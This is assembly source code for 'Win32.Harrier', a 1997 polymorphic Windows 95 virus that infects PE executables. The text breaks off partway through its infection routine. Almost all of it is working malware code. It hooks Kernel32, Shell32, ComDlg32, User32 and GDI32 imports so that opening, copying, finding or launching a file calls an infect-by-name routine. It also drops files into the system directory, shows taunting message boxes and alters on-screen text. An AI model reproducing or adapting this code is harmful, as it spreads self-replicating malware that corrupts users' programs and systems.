Win32.Harrier.asm

; Win32.Harrier
; title HDL - The pretty PE Polymorphic virus.
; page 52,130
;
; *==================================================================*
; ! (c) 08-Sep-1997y by TechnoRat "95-th Harrier from DarkLand" !
; *==================================================================*
;
; Start coding: 27-Jul-1997y Ver 2.00a
; Still coding: 04-Sep-1997y Ver 2.01a
; Stop coding: 08-Sep-1997y Ver 2.01a
; Bug fixing: 10-Sep-1997y Ver 2.01b
; Upgrading: 14-Sep-1997y Ver 2.01b
; Bug fixing: 17-Sep-1997y Ver 2.01!
;
;
; Win32 Virus. (c)*TR*SOFT 27-Jul-1997y
;
; Compatible: MS Windows 95 (v4.0+);
; Structure: many levels polymorphic style;
; Infector: written as Win32 console application;
; Infect: all files by type NewExe (PE);
; Check: attributes, date & time, IO errors, synchronization;
; Devil: text strings on screen, message boxes, help,
; Control Panel (System applet);
; Lock: -=- nothing -=-
; Code: pretty fucking style;
;
.386 ; Party goes to begin. . .
.Model Flat,StdCall
%NoMacs
Include ..HarrInc.Inc

; ---------------------------------------------------------
; Data section must be present. Data size must be non-zero.
.Data
Dumbo Db 'For fucking TASM32+TLINK32 programs!',0

; ---------------------------------------------------------
.Code
Public StubEntryLabel ; Some definitions
Public StubImportPlace ; placed specially
Public ImagePlace ; for PELinker
Public CurrentPlace
Public FixUpsPlace
Public FixUpsCounter
Public ImportPlace
Public ImportLength
Public BufferPlace

; ---------------------------------------------------------
MaxPathLen = 260

; ---------------------------------------------------------
Cr Equ <0Dh,0Ah> ; Service macroses
Ver Equ <'v2.01 '>
Release Equ <'Release (0) from 17-Sep-1997y '>
BasedOn Equ <'based on [AsmSwap engine v1.3]'>

; ---------------------------------------------------------
; Stack memory addressing macroses
MemCommitSz = 38000h ; Stack memory size
TinyMemCommitSz = 2000h ; WARNING! depends on
; total program size.

_VarAddr = 0 ; Base of indexing
Var Macro VarName,VarType
&VarName CatStr <[>,%_VarAddr,<][EBp]> ; Defining the new
If Type VarType Eq 0 ; variable reference
_VarAddr = _VarAddr+VarType
Else
_VarAddr = _VarAddr+Type VarType
EndIf
EndM Var

; ---------------------------------------------------------
; Binary include support
BFile Macro ILabel,IFileName,IFileSize
&ILabel Label Byte
_BFileStart = $
Irpc Char,IFileName
Db '&Char'
EndM
Db (IFileSize-($-_BFileStart)) Dup(90h)
EndM BFile

; ---------------------------------------------------------
DebugModeKey = 0h ; defining the Debug
Irpc Char,<CREATOR=TechnoRat> ; Mode switcher key
DebugModeKey = ((DebugModeKey Xor '&Char')-1) Shl 1
EndM

; ---------------------------------------------------------
_Jmp Macro Addr ; Macroses that supports
Jmp Addr ; AsmSwap scrambling
EndM _Jmp

_Nop Macro Addr
EndM _Nop

; ---------------------------------------------------------
; Here the start of running code.
Start: ; Here can be placed
; the polymorphic decryptor,
; And will be placed!
; But later.
;StartCode
;Separator=_Jmp
; ---------------------------------------------------------
;Here the real virus body.

BodyHere: PushA
Cld ; Need after decrypting!
FirstCm: Call SecondCm
Xor EAx,EAx ; Some trash
Ret ; will never work!!!

SecondCm: Xor EAx,EAx ; Some another trash
Pop EBx ; Real body. . .
Sub EBx,(Offset FirstCm - Offset Start + 5)
Xor EAx,EAx ; Wait on semaphore
WaitInit: Xchg EAx,[EBx][Offset InitOk - Offset Start]
Or EAx,EAx
Jz WaitInit
Cmp EAx,2h ; Ok, All done.
Je DoneInit
;DefCodeLine
Db 0BEh
FixUpsPlace Dd ? ; Mov ESi,xxxx
;BreakCodeLine
;DefCodeLine
Db 0B9h
FixUpsCounter Dd ? ; Mov ECx,xxxx
;BreakCodeLine
Again: Mov EDi,[EBx+ESi]
Add [EBx+EDi],EBx ; SetUp ReloItems
Add ESi,4h
Dec ECx
Jnz Again
Mov Here,EBx

Mov EAx,StubEntryLabel ; Calculate the
Add EAx,EBx ; Host entry point
Sub EAx,CurrentPlace ; and place it for future
Sub EAx,PolyMorphSz
Mov HostIP,EAx
Sub EBx,CurrentPlace
Sub EBx,PolyMorphSz
Mov MemBase,EBx

Mov Debug,0h ; Checking for debug
Call GetEnvironmentStringsA ; mode presence. . .
New_Key: Xor EBx,EBx
New_Char: Cmp Byte Ptr [EAx],0h ; Calculate hash from
Je Check_Key ; Env. string
Xor Bl,[EAx]
Dec EBx
Shl EBx,1
Inc EAx
Jmp New_Char
Check_Key: Cmp EBx,DebugModeKey ; Debug key detected?
Jne New_String
Or Debug,-1 ; Yes!
Push 0h ; (??? Not used)
Call MessageBeep
Push 40h ; OkOnly+Information
Push Offset InfSelfHeader
Push Offset InfEnterDebug
Push 0h
Call MessageBoxA
Jmp Break_Keys
New_String: Inc EAx ; No, next string
Cmp Byte Ptr [EAx],0h
Jne New_Key
Break_Keys:
Mov EAx,Offset KernelName ; SetUp import entries
Mov EDx,Offset KrnlImp ; on Kernel32 And Shell32
Mov ECx,KrnlImpCnt ; And ComDlg32 DLLs
Call SetUpImport
Mov EAx,Offset ShellName
Mov EDx,Offset ShellImp
Mov ECx,ShellImpCnt
Call SetUpImport
Mov EAx,Offset DialogName
Mov EDx,Offset DialogImp
Mov ECx,DialogImpCnt
Call SetUpImport
Mov EAx,Offset UserName ; and User32 and GDI32 DLLs
Mov EDx,Offset UserImp
Mov ECx,UserImpCnt
Call SetUpImport
Mov EAx,Offset GDIName
Mov EDx,Offset GDIImp
Mov ECx,GDIImpCnt
Call SetUpImport
Mov HelpCounter,0h
Mov wsRet$,0h ; Critical section end.

DoneInit: Mov InitOk,2h ; No Writes in RAM here!!!
; Here can be implemented some initialization features.
; for Example: infecting the Export in SHELL32.dll or
; in COMDLG32.dll; or infecting the Explorer.Exe or . . .

Push MemCommitSz/4h
Call AllocStackMem
Lea EAx,FT_Struc
Push EAx
Call GetSystemTime ; Get "Random" value
Cmp Word Ptr FT_Second,10h
Jne Go_Away
Push 1000h ; OkOnly+SystemModal
Push Offset InfSelfHeader
Push Offset HelloMsg
Push 0h
Call MessageBoxA ; Fuck the society ;-)

Go_Away: Lea EAx,PackedTime ; Initialize random generator
Push EAx ; Can be performed at
Lea EAx,FT_Struc ; any time, it is legal!!!
Push EAx
Call SystemTimeToFileTime
Mov EAx,PackedTime
Or EAx,1h
Mov RandSeed,EAx

Mov EAx,10h ; by 1/16 probability
Call Random
Or EAx,EAx
Jnz NoInstallOEM

Push MaxPathLen
Lea EAx,SomePath ; Some nice install ;-)
Push EAx ; (about the OEM)
Call GetSystemDirectoryA
Push EAx
Lea EAx,SomePath
Add EAx,[ESp]
Mov EDi,EAx ; The pretty LOGO file
Mov ESi,Offset BitMapName
Cld
Mov ECx,BitMapNameL
Rep MovsB

Push 0h
Push 10000000h+80h ; FAN, FFRA
Push 2h ; CA
Push 0h
Push 1h
Push 80000000h+40000000h ; GR/GW
Lea EAx,SomePath
Push EAx
Call CreateFileA
Cmp EAx,-1h ; Create error!
Je Fail_OEM
Push EAx
Push 0h
Lea ECx,ProcessedBytes
Push ECx
Push HarrBtMpFile_Sz
Push Offset BitMapFile
Push EAx
Call WriteFile
Call CloseHandle

Lea EAx,SomePath
Add EAx,[ESp]
Mov EDi,EAx ; The pretty INFO file
Mov ESi,Offset InfoName
Mov ECx,InfoNameL
Rep MovsB

Push 0h
Push 10000000h+80h ; FAN, FFRA
Push 2h ; CA
Push 0h
Push 1h
Push 80000000h+40000000h ; GR/GW
Lea EAx,SomePath
Push EAx
Call CreateFileA
Cmp EAx,-1h ; Create error!
Je Fail_OEM
Push EAx
Push 0h
Lea ECx,ProcessedBytes
Push ECx
Push HarrInfoFile_Sz
Push Offset InfoFile
Push EAx
Call WriteFile
Call CloseHandle

Fail_OEM: Pop EAx

NoInstallOEM: Push MemCommitSz/4h
Call FreeStackMem
PopA
Jmp HostIP ; All Done.

; ---------------------------------------------------------
SetUpImport: Mov EBx,StubImportPlace ; SetUp HostImport
Add EBx,Here
Set_3$: Cmp DWord Ptr [EBx][3*4],0h ; (EDx/ECx, EAx)
Je Set_0$ ; Corrupt all. . .
Mov ESi,[EBx][3*4] ; Scan stub modules
Add ESi,MemBase
Mov EDi,EAx
Cld
Set_2$: Call CmpUnCase ; Compare two module chars
Jne Set_1$
Cmp Byte Ptr [EDi][-1],0h
Jne Set_2$ ; Names compared Ok.
Call Set_Mdl$ ; SetUp current module.
Set_1$: Add EBx,5*4 ; Next module. . .
Jmp Set_3$
Set_0$: Ret ; Last module, All done.

Set_Mdl$: Push EAx
Mov ESi,[EBx] ; (Current Module in EBx)
Or ESi,ESi ; LookUp present?
Jz Set_Mdl_1$
Add ESi,MemBase
Xor EAx,EAx
Set_Mdl_0$: Cmp DWord Ptr [ESi],0h ; Last LookUp?
Je Set_Mdl_1$
Test DWord Ptr [ESi],80000000h
Jne Set_Mdl_2$ ; Ordinal?
Push ESi
Mov ESi,[ESi] ; Get Name in module
Add ESi,MemBase
Add ESi,2h
Push EDx
Push ECx
Set_Mdl_M0$: Push ESi
Mov EDi,[EDx][1*4] ; Get self Name to SetUp
Set_Mdl_M2$: Call CmpUnCase
Jne Set_Mdl_M1$
Cmp Byte Ptr [EDi][-1],0h
Jne Set_Mdl_M2$ ; Ok, SetUp this entry
Mov EDi,[EBx][4*4] ; Ptr to AddrTable
Add EDi,MemBase
Mov ESi,[EDi][EAx] ; ImportValue
Push EDi
Mov EDi,[EDx] ; SetUp _Var
Mov [EDi],ESi
Pop EDi
Mov ESi,[EDx][2*4] ; SetUp ImportValue
Mov [EDi][EAx],ESi ; by IProc
Pop ESi
Jmp Set_Mdl_M3$
Set_Mdl_M1$: Pop ESi
Add EDx,3*4 ; Next name in list
Dec ECx
Jnz Set_Mdl_M0$
Set_Mdl_M3$: Pop ECx
Pop EDx
Pop ESi
Set_Mdl_2$: Add ESi,4 ; Next name in module
Add EAx,4
Jmp Set_Mdl_0$
Set_Mdl_1$: Pop EAx
Ret

CmpUnCase: Push EAx ; CmpsB (with UnCase check)
LodsB
Call UpCase
Mov Ah,Al
Xchg ESi,EDi
LodsB
Call UpCase
Xchg ESi,EDi
Cmp Ah,Al
Pop EAx
Ret

UpCase: Cmp Al,'a' ; UpCase the Al register
Jb UpCase_0$
Cmp Al,'z'
Ja UpCase_0$
Sub Al,20h
UpCase_0$: Ret

; ---------------------------------------------------------
; KERNEL32 infected functions realization.
ICreateFileA: Push EBp ; CreateFileA
Mov EBp,ESp ; opens or creates
PushA ; the file or other
Mov EDx,[EBp][8] ; resource (pipe, device, etc)
Mov EBx,Offset NCreateFileA
Call InfectByName
PopA
Pop EBp
Jmp _CreateFileA

IOpenFile: Push EBp ; OpenFile
Mov EBp,ESp ; opens or creates
PushA ; the file
Mov EDx,[EBp][8] ; [Obsolete]
Mov EBx,Offset NOpenFile
Call InfectByName
PopA
Pop EBp
Jmp _OpenFile

IMoveFileA: Push EBp ; MoveFileA
Mov EBp,ESp ; moves or renames
PushA ; the file
Mov EDx,[EBp][8]
Mov EBx,Offset NMoveFileA
Call InfectByName
PopA
Pop EBp
Jmp _MoveFileA

IMoveFileExA: Push EBp ; MoveFileExA
Mov EBp,ESp ; moves or renames
PushA ; the file
Mov EDx,[EBp][8] ; [Not supported by '95]
Mov EBx,Offset NMoveFileExA
Call InfectByName
PopA
Pop EBp
Jmp _MoveFileExA

ICopyFileA: Push EBp ; CopyFileA
Mov EBp,ESp ; copyes
PushA ; the file
Mov EDx,[EBp][8]
Mov EBx,Offset NCopyFileA
Call InfectByName
PopA
Pop EBp
Jmp _CopyFileA

I_lopen: Push EBp ; _lopen
Mov EBp,ESp ; opens
PushA ; the file
Mov EDx,[EBp][8] ; [Obsolete]
Mov EBx,Offset N_lopen
Call InfectByName
PopA
Pop EBp
Jmp __lopen

IWinExec: Push EBp ; WinExec
Mov EBp,ESp ; spawns
PushA ; the file
Mov EDx,[EBp][8] ; [Obsolete]
Mov EBx,Offset NWinExec
Call InfectByName
PopA
Pop EBp
Jmp _WinExec

ICreateProcessA:
Push EBp ; CreateProcessA
Mov EBp,ESp ; spawns
PushA ; the file
Mov EDx,[EBp][8]
Mov EBx,Offset NCreateProcessA
Call InfectByName
PopA
Pop EBp
Jmp _CreateProcessA

ILoadLibraryA: Push EBp ; LoadLibraryA
Mov EBp,ESp ; loads the
PushA ; library file
Mov EDx,[EBp][8]
Mov EBx,Offset NLoadLibraryA
Call InfectByName
PopA
Pop EBp
Jmp _LoadLibraryA

ILoadLibraryExA:
Push EBp ; LoadLibraryExA
Mov EBp,ESp ; loads the
PushA ; library file
Mov EDx,[EBp][8]
Mov EBx,Offset NLoadLibraryExA
Call InfectByName
PopA
Pop EBp
Jmp _LoadLibraryExA

IFindFirstFileA:
Push DWord Ptr [ESp][8]
Push DWord Ptr [ESp][8]
Call _FindFirstFileA
Cmp EAx,-1
Je FindFirst_1$
Push EBp ; FindFirstFileA
Mov EBp,ESp ; searches the
PushA ; first file
Mov EDx,[EBp][0Ch]
Add EDx,0Bh*4
Mov EBx,Offset NFindFirstFileA
Call InfectByName
PopA
Pop EBp
FindFirst_1$: Ret 8h

IFindNextFileA:
Push DWord Ptr [ESp][8]
Push DWord Ptr [ESp][8]
Call _FindNextFileA
Or EAx,EAx
Je FindNext_1$
Push EBp ; FindNextFileA
Mov EBp,ESp ; searches the
PushA ; next file
Mov EDx,[EBp][0Ch]
Add EDx,0Bh*4
Mov EBx,Offset NFindNextFileA
Call InfectByName
PopA
Pop EBp
FindNext_1$: Ret 8h

; ---------------------------------------------------------
; SHELL32 infected functions realization.
IShellExecuteA: Push EBp ; ShellExecuteA
Mov EBp,ESp ; opens or prints
PushA ; the specified file
Mov EDx,[EBp][10h] ; via registry
Mov EBx,Offset NShellExecuteA
Call InfectByName
PopA
Pop EBp
Jmp _ShellExecuteA

IShellExecuteEx:
Push EBp ; ShellExecuteEx
Mov EBp,ESp ; ???
PushA ;
Mov EDx,[EBp][10h] ; [UnDocumented]
Mov EBx,Offset NShellExecuteEx
Call InfectByName
PopA
Pop EBp
Jmp _ShellExecuteEx

IShellExecuteExA:
Push EBp ; ShellExecuteExA
Mov EBp,ESp ; ???
PushA ;
Mov EDx,[EBp][10h] ; [UnDocumented]
Mov EBx,Offset NShellExecuteExA
Call InfectByName
PopA
Pop EBp
Jmp _ShellExecuteExA

IFindExecutableA:
Push EBp ; FindExecutableA
Mov EBp,ESp ; searches the
PushA ; DDE server
Mov EDx,[EBp][8] ; via registry
Mov EBx,Offset NFindExecutableA
Call InfectByName ; or DDE requests
PopA
Pop EBp
Jmp _FindExecutableA

; ---------------------------------------------------------
; COMDLG32 infected functions realization.
IGetOpenFileNameA:
Push DWord Ptr [ESp][4] ; GetOpenFileNameA
Call _GetOpenFileNameA ; returns the name
Push EBp ; of opening file
Mov EBp,ESp
PushA
Mov EDx,[EBp][8]
Mov EDx,[EDx][7*4]
Mov EBx,Offset NGetOpenFileNameA
Call InfectByName
PopA
Pop EBp
Ret 4h

IGetSaveFileNameA:
Push DWord Ptr [ESp][4] ; GetSaveFileNameA
Call _GetSaveFileNameA ; returns the name
Push EBp ; of saving file
Mov EBp,ESp
PushA
Mov EDx,[EBp][8]
Mov EDx,[EDx][7*4]
Mov EBx,Offset NGetSaveFileNameA
Call InfectByName
PopA
Pop EBp
Ret 4h

; ---------------------------------------------------------
; USER32 infected functions realization
IDrawTextA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _DrawTextA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 5*4

IDrawTextExA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][6*4+4]
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _DrawTextExA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 6*4

ITabbedTextOutA:
Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][8*4+4]
Push DWord Ptr [EBx][7*4+4]
Push DWord Ptr [EBx][6*4+4]
Mov ECx,[EBx][5*4+4]
Mov EDx,[EBx][4*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _TabbedTextOutA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 8*4

IwsprintfA: Cmp wsRet$,0h ; Check semaphore!
Je wsprintf_1$
Jmp _wsprintfA

wsprintf_1$: Pop wsRet$
Push Offset wsprint_0$
Jmp _wsprintfA ; Format text string
wsprint_0$: Push wsRet$
Push EBx
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Mov EDx,[EBx][1*4+4]
Mov ECx,[EBx][-4]
Call ConvertStr
Mov [EBx][-4],ECx
Mov ESi,EDx
Mov EDi,[EBx][1*4+4]
Cld
Call Transfer_Str
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Mov wsRet$,0h
Ret
wsRet$ Dd 0h

IwvsprintfA: Push EBx ; Format text string
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _wvsprintfA
Mov EDx,[EBx][1*4+4]
Mov ECx,EAx
Call ConvertStr
Mov [EBx][-4],ECx
Mov EDi,[EBx][1*4+4]
Mov ESi,EDx
Cld
Call Transfer_Str
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx ; function result
Pop EBx
Ret 3*4

IGetTabbedTextExtentA:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTabbedTextExtentA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 5*4

IMessageBoxA: Push EBx ; Shows the some message
Mov EBx,ESp
Push EAx
PushA
Push MemCommitSz/4h
Call AllocStackMem
Lea EAx,FT_Struc
Push EAx
Call GetSystemTime ; Get "Random" value
Cmp Word Ptr FT_Second,10h
Jae Message_None$
MovZx EAx,Word Ptr FT_Milliseconds
Shr EAx,1
Xor EDx,EDx
Mov ECx,FuckMsgCounter
Div ECx
Shl EDx,1
Shl EDx,1
Add EDx,Offset FuckMessages
Mov EDx,[EDx]
Push DWord Ptr [EBx][4*4+4]
Push DWord Ptr [EBx][3*4+4]
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call MessageBoxA
Mov [EBx][-4h],EAx
Push MemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 4*4

Message_None$: Push MemCommitSz/4h ; Legal call
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Jmp _MessageBoxA

IWinHelpA: PushA ; Calls the Windows
Cmp HelpCounter,10h ; help system
Jb WinHlp_0$
Push 40h ; OkOnly+Information
Push Offset InfSelfHeader
Push Offset InfGodHelp
Push 0h
Call MessageBoxA
PopA
Xor EAx,EAx
Ret 4*4

WinHlp_0$: Inc HelpCounter ; Legal call
PopA
Jmp _WinHelpA

; ---------------------------------------------------------
; GDI32 infected functions realization
ITextOutA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Mov ECx,[EBx][5*4+4]
Mov EDx,[EBx][4*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _TextOutA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 5*4

IExtTextOutA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][8*4+4]
Mov ECx,[EBx][7*4+4]
Mov EDx,[EBx][6*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _ExtTextOutA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 8*4

IGetTextExtentPointA:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTextExtentPointA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 4*4

IGetTextExtentPoint32A:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTextExtentPoint32A
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 4*4

IGetTextExtentExPointA:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][7*4+4]
Push DWord Ptr [EBx][6*4+4]
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTextExtentExPointA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 7*4

;Separator=_Nop
; ---------------------------------------------------------
ShellName Db 'SHELL32.dll',0 ; Name of import
KernelName Db 'KERNEL32.dll',0 ; providers
DialogName Db 'COMDLG32.dll',0

UserName Db 'USER32.dll',0
GDIName Db 'GDI32.dll',0

; ---------------------------------------------------------
_CreateFileA Dd ? ; Thunk pointers
_OpenFile Dd ? ; (Kernel)
_MoveFileA Dd ?
_MoveFileExA Dd ?
_CopyFileA Dd ?
__lopen Dd ?
_WinExec Dd ?
_CreateProcessA Dd ?
_LoadLibraryA Dd ?
_LoadLibraryExA Dd ?
_FindFirstFileA Dd ?
_FindNextFileA Dd ?

_ShellExecuteA Dd ? ; (Shell)
_ShellExecuteEx Dd ?
_ShellExecuteExA Dd ?
_FindExecutableA Dd ?

_GetOpenFileNameA Dd ? ; (CommDlg)
_GetSaveFileNameA Dd ?

_DrawTextA Dd ? ; (User)
_DrawTextExA Dd ?
_TabbedTextOutA Dd ?
_wsprintfA Dd ?
_wvsprintfA Dd ?
_GetTabbedTextExtentA Dd ?
_MessageBoxA Dd ?
_WinHelpA Dd ?

_TextOutA Dd ? ; (GDI)
_ExtTextOutA Dd ?
_GetTextExtentPointA Dd ?
_GetTextExtentPoint32A Dd ?
_GetTextExtentExPointA Dd ?

; ---------------------------------------------------------
NCreateFileA Db 'CreateFileA',0 ; Thunk pointer names
NOpenFile Db 'OpenFile',0
NMoveFileA Db 'MoveFileA',0
NMoveFileExA Db 'MoveFileExA',0
NCopyFileA Db 'CopyFileA',0
N_lopen Db '_lopen',0
NWinExec Db 'WinExec',0
NCreateProcessA Db 'CreateProcessA',0
NLoadLibraryA Db 'LoadLibraryA',0
NLoadLibraryExA Db 'LoadLibraryExA',0
NFindFirstFileA Db 'FindFirstFileA',0
NFindNextFileA Db 'FindNextFileA',0

NShellExecuteA Db 'ShellExecuteA',0
NShellExecuteEx Db 'ShellExecuteEx',0
NShellExecuteExA Db 'ShellExecuteExA',0
NFindExecutableA Db 'FindExecutable',0

NGetOpenFileNameA Db 'GetOpenFileNameA',0
NGetSaveFileNameA Db 'GetSaveFileNameA',0

NDrawTextA Db 'DrawTextA',0
NDrawTextExA Db 'DrawTextExA',0
NTabbedTextOutA Db 'TabbedTextOutA',0
NwsprintfA Db 'wsprintfA',0
NwvsprintfA Db 'wvsprintfA',0
NGetTabbedTextExtentA Db 'GetTabbedTextExtentA',0
NMessageBoxA Db 'MessageBoxA',0
NWinHelpA Db 'WinHelpA',0

NTextOutA Db 'TextOutA',0
NExtTextOutA Db 'ExtTextOutA',0
NGetTextExtentPointA Db 'GetTextExtentPointA',0
NGetTextExtentPoint32A Db 'GetTextExtentPoint32A',0
NGetTextExtentExPointA Db 'GetTextExtentExPointA',0

; ---------------------------------------------------------
;DefCodeLine
KrnlImp Label DWord
Dd Offset _CreateFileA
Dd Offset NCreateFileA
Dd Offset ICreateFileA

Dd Offset _OpenFile
Dd Offset NOpenFile
Dd Offset IOpenFile

Dd Offset _MoveFileA
Dd Offset NMoveFileA
Dd Offset IMoveFIleA

Dd Offset _MoveFileExA
Dd Offset NMoveFileExA
Dd Offset IMoveFileExA

Dd Offset _CopyFileA
Dd Offset NCopyFileA
Dd Offset ICopyFileA

Dd Offset __lopen
Dd Offset N_lopen
Dd Offset I_lopen

Dd Offset _WinExec
Dd Offset NWinExec
Dd Offset IWinExec

Dd Offset _CreateProcessA
Dd Offset NCreateProcessA
Dd Offset ICreateProcessA

Dd Offset _LoadLibraryA
Dd Offset NLoadLibraryA
Dd Offset ILoadLibraryA

Dd Offset _LoadLibraryExA
Dd Offset NLoadLibraryExA
Dd Offset ILoadLibraryExA

Dd Offset _FindFirstFileA
Dd Offset NFindFirstFileA
Dd Offset IFindFirstFileA

Dd Offset _FindNextFileA
Dd Offset NFindNextFileA
Dd Offset IFindNextFileA

KrnlImpCnt = ($ - Offset KrnlImp)/(3*4)
;BreakCodeLine

;DefCodeLine
ShellImp Label DWord
Dd Offset _ShellExecuteA
Dd Offset NShellExecuteA
Dd Offset IShellExecuteA

Dd Offset _ShellExecuteEx
Dd Offset NShellExecuteEx
Dd Offset IShellExecuteEx

Dd Offset _ShellExecuteExA
Dd Offset NShellExecuteExA
Dd Offset IShellExecuteExA

Dd Offset _FindExecutableA
Dd Offset NFindExecutableA
Dd Offset IFindExecutableA

ShellImpCnt = ($ - Offset ShellImp)/(3*4)
;BreakCodeLine

;DefCodeLine
DialogImp Label DWord
Dd Offset _GetOpenFileNameA
Dd Offset NGetOpenFileNameA
Dd Offset IGetOpenFileNameA

Dd Offset _GetSaveFileNameA
Dd Offset NGetSaveFileNameA
Dd Offset IGetSaveFileNameA

DialogImpCnt = ($ - Offset DialogImp)/(3*4)
;BreakCodeLine

;DefCodeLine
UserImp Label DWord
Dd Offset _DrawTextA
Dd Offset NDrawTextA
Dd Offset IDrawTextA

Dd Offset _DrawTextExA
Dd Offset NDrawTextExA
Dd Offset IDrawTextExA

Dd Offset _TabbedTextOutA
Dd Offset NTabbedTextOutA
Dd Offset ITabbedTextOutA

Dd Offset _wsprintfA
Dd Offset NwsprintfA
Dd Offset IwsprintfA

Dd Offset _wvsprintfA
Dd Offset NwvsprintfA
Dd Offset IwvsprintfA

Dd Offset _GetTabbedTextExtentA
Dd Offset NGetTabbedTextExtentA
Dd Offset IGetTabbedTextExtentA

Dd Offset _MessageBoxA
Dd Offset NMessageBoxA
Dd Offset IMessageBoxA

Dd Offset _WinHelpA
Dd Offset NWinHelpA
Dd Offset IWinHelpA

UserImpCnt = ($ - Offset UserImp)/(3*4)
;BreakCodeLine

;DefCodeLine
GDIImp Label DWord
Dd Offset _TextOutA
Dd Offset NTextoutA
Dd Offset ITextOutA

Dd Offset _ExtTextOutA
Dd Offset NExtTextOutA
Dd Offset IExtTextOutA

Dd Offset _GetTextExtentPointA
Dd Offset NGetTextExtentPointA
Dd Offset IGetTextExtentPointA

Dd Offset _GetTextExtentPoint32A
Dd Offset NGetTextExtentPoint32A
Dd Offset IGetTextExtentPoint32A

Dd Offset _GetTextExtentExPointA
Dd Offset NGetTextExtentExPointA
Dd Offset IGetTextExtentExPointA

GDIImpCnt = ($ - Offset GDIImp)/(3*4)
;BreakCodeLine

;Separator=_Jmp
; ---------------------------------------------------------
; Infector routines
InfectByName: Push MemCommitSz/4h
Call AllocStackMem ; Infect file by name in EDx
Cmp Debug,0h ; (Who in EBx)
Je Infect_0$
Or EDx,EDx
Jne Infect_D$
Push 30h ; OkOnly+Exclamation
Push EBx
Push Offset InfNoNameMsg
Push 0h
Call MessageBoxA ; [!!!For DEBUG!!!]
Push MemCommitSz/4h
Call FreeStackMem
Ret

Infect_D$: Push EBx
Push EDx
Push 21h ; OkCancel+Question
Push EBx
Push EDx
Push 0h
